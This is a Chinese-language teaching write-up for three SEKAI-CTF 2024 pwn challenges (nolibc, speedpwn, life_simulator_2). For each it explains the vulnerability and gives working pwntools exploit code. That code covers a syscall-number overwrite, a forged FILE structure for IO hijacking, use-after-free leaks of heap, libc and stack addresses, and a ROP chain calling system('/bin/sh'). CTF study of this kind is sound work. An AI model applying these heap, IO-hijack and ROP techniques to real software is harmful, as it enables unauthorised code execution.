2024 SEKAI-CTF(nolibc speedpwn life_simulator_2)
字数 1348 2025-08-20 18:18:17
2024 SEKAI-CTF Pwn题解教学文档
1. nolibc题目解析
1.1 题目概述
- 保护机制:Partial RELRO, No canary, NX enabled, PIE enabled
- 限制:只能注册一个账户并登录该账户
- 关键漏洞:size是buffer长度不是整个chunk,可以溢出改系统调用号
1.2 漏洞分析
char *__fastcall alloc(int size) {
struct chunk *next_use_chunk;
signed int up_align_16_size = (size + 15) & 0xFFFFFFF0;
// ...
if (v5->size >= (unsigned __int64)(up_align_16_size + 16LL)) {
next_use_chunk = (struct chunk *)&v5->buff[up_align_16_size];
next_use_chunk->size = v5->size - up_align_16_size - 16;
// ...
}
// ...
}
漏洞点:
next_use_chunk->size计算错误,导致可以溢出修改后续内存- 分配的size是输入的len+0x10 & 0xFFFFFFF0,但输入内容的长度是len+1
1.3 利用思路
- 通过data段残留的PIE地址泄露PIE基址
- 利用size计算错误导致的溢出修改系统调用号
- 通过
/proc/self/maps泄露地址信息
1.4 EXP关键代码
from pwn import *
p = process("./main")
# 注册和登录
p.sendlineafter(b"Choose an option: ", str(2))
p.sendlineafter(b"Username: ", b"llk")
p.sendlineafter(b"Password: ", b"1010")
p.sendlineafter(b"Choose an option: ", str(1))
p.sendlineafter(b"Username: ", b"llk")
p.sendlineafter(b"Password: ", b"1010")
# 利用漏洞
for i in range(191):
add((int("0xe0", 16)), "llk")
add((int("0x7f", 16)), 0x70*b"a"+p32(0)+p32(1)+p32(59)+p32(3))
for i in range(191):
dele(i)
load(b"/bin/sh\x00")
p.interactive()
2. speedpwn题目解析
2.1 题目概述
- 保护机制:Partial RELRO, Canary found, NX enabled, No PIE
- 关键漏洞:game_history溢出可以往高地址处bss任意写
2.2 漏洞分析
if(cmp(player_num, bot_num)) {
*((unsigned long long*)&game_history + (number_of_games / 64)) |= ((unsigned long long)1 << (number_of_games % 64));
} else {
*((unsigned long long*)&game_history + (number_of_games / 64)) &= (~((unsigned long long)1 << (number_of_games % 64)));
}
漏洞点:
- 可以通过发送全为1来设置对应game_history位为1
- 可以通过发送全为0来设置对应game_history位为0
- 可以溢出修改seed_generator文件结构体
2.3 利用思路
- 通过scanf输入不会改变残留libc地址的特性泄露libc
- 利用残留栈帧上的libc地址进行爆破
- 修改seed_generator文件结构体进行IO劫持
2.4 EXP关键代码
def set_1():
p.sendlineafter(b"> ", str("f"))
p.sendlineafter(b"Player plays: ", str(18446744073709551615))
def set_0():
p.sendlineafter(b"> ", str("f"))
p.sendlineafter(b"Player plays: ", str(0))
# 爆破libc地址
for i in range(48,64):
tmp = leak_1bit_number_libc | 1 << i
simulate("-", tmp)
# ...
# 伪造IO结构体
fake_io = [
0x3b687320, # will cover content that lock point with 1
0, # write_base
1, # write_ptr
fake_io_addr,# _wide_data
0, # _wide_data->_IO_write_base
0, # _wide_data->_IO_buf_base
fake_io_addr,# _wide_data->__wide_vtable
libc_base + 0x4e720, # system
fake_io_addr + 0x100, # lock address
0, # mode
libc_base + 0x1d2648 - 40 # _IO_wfile_jumps-40
]
# 写入伪造的IO结构体
while payload:
tmp = payload[:8]
write_64(u64(tmp))
payload = payload[8:]
3. life_simulator_2题目解析
3.1 题目概述
- 保护机制:全开
- 关键漏洞:整数溢出和逻辑问题
3.2 漏洞分析
void Company::elapse_week() {
uint64_t total_profit = 0;
for(auto it : this->projects) {
total_profit += it->generate_profit() - it->worker_pay();
}
this->company_budget += total_profit;
// ...
if(!(company_to_remove->number_of_workers() == 0 || company_to_remove->get_company_budget() == 0)) {
std::cerr << "ERR: Not Allowed" << std::endl;
return;
}
// ...
}
漏洞点:
- 整数溢出影响company_budget和total_net_worth
- 逻辑判断错误:实际需要number_of_workers() == 0或get_company_budget() == 0才能sell
- 释放不完整,Worker对象未被释放导致UAF
3.3 利用思路
- 利用整数溢出使company_budget为0
- 通过UAF泄露堆地址和libc地址
- 伪造string对象和vector结构
- 通过move_worker实现任意地址写
- 劫持控制流getshell
3.4 EXP关键代码
# 初始设置
add_company(b"llk ", str(1200).encode())
add_project(b"llk ", b"pwn ", b"1000000 ")
for i in range(40):
hire_worker(b"llk ", b"pwn ", str(i).encode(), str(30).encode())
# 触发漏洞
elapse_week()
sell_company(b"llk ")
# 泄露堆地址
add_company(b"llk2 ", str(1200).encode())
add_project(b"llk2 ", b"pwn ", b"1000000 ")
worker_info(str(1).encode())
heap = (int(p.recvuntil(b"\n")[:-1].decode('ascii')) << 3) - 0x13370
# 泄露libc地址
fake_project = payload + p64(heap+0x13600)[:6]
add_company(fake_project + b" ", str(1200).encode())
add_company(b"l"*0x400 + b" ", str(1200).encode())
worker_info(str(41).encode())
libc = u64(p.recv(6).ljust(8, b"\x00")) - 0x203b20
# 泄露栈地址
environ = libc + 0x20ad58
target_leak_libc_chunk = environ
fake_project = payload + p64(heap+0x13600)[:6]
add_company(fake_project + b" ", str(1200).encode())
worker_info(str(41).encode())
stack = u64(p.recv(6).ljust(8, b"\x00")) - 0x138
# 构造ROP链
pop_rdi_ret = libc + 0x000000000010f75b
system = libc + 0x58740
bin_sh = libc + 0x1cb42f
ret = libc + 0x000000000002882f
payload = (p64(0) + p64(0) + p64(0) + p64(ret) +
p64(pop_rdi_ret) + p64(bin_sh) + p64(system)).ljust(0x100, b"\x00")
add_company(payload + b" ", str(1008).encode())
4. 关键知识点总结
4.1 委托构造函数
- C++11特性,允许一个构造函数调用同一类中的另一个构造函数
- 语法示例:
class Example {
public:
Example(int a, int b, int c) { /* 主构造函数 */ }
Example(int a, int b) : Example(a, b, 0) {} // 委托构造函数
};
4.2 std::remove和std::erase
- "移除-擦除"惯用法:
companies.erase(std::remove(companies.begin(), companies.end(), company_to_remove), companies.end());
- std::remove重新排列元素,std::erase真正移除元素
- 注意:仅移除指针,不释放指针指向的内存
4.3 整数溢出利用
- 当double和uint64_t相乘结果超出uint64_t范围时,转换为uint64_t可能导致溢出为0
- 示例:
uint64_t a = 18446744073709551615ULL;
double b = 2.0;
uint64_t result = static_cast<uint64_t>(a * b); // 可能溢出为0
4.4 vector插入逻辑
- 核心函数:
__int64 __fastcall std::vector<Worker *>::emplace_back<Worker *&>(__int64 a1, __int64 a2) {
if (*(_QWORD *)(a1 + 8) == *(_QWORD *)(a1 + 16)) {
// 扩容逻辑
} else {
// 直接插入逻辑
}
}
- a1 + 8: 当前末尾指针
- a1 + 16: 容量极限指针
本教学文档详细分析了三个CTF题目的漏洞原理和利用方法,涵盖了堆溢出、UAF、IO劫持、ROP等多种漏洞利用技术,并总结了相关的C++特性知识。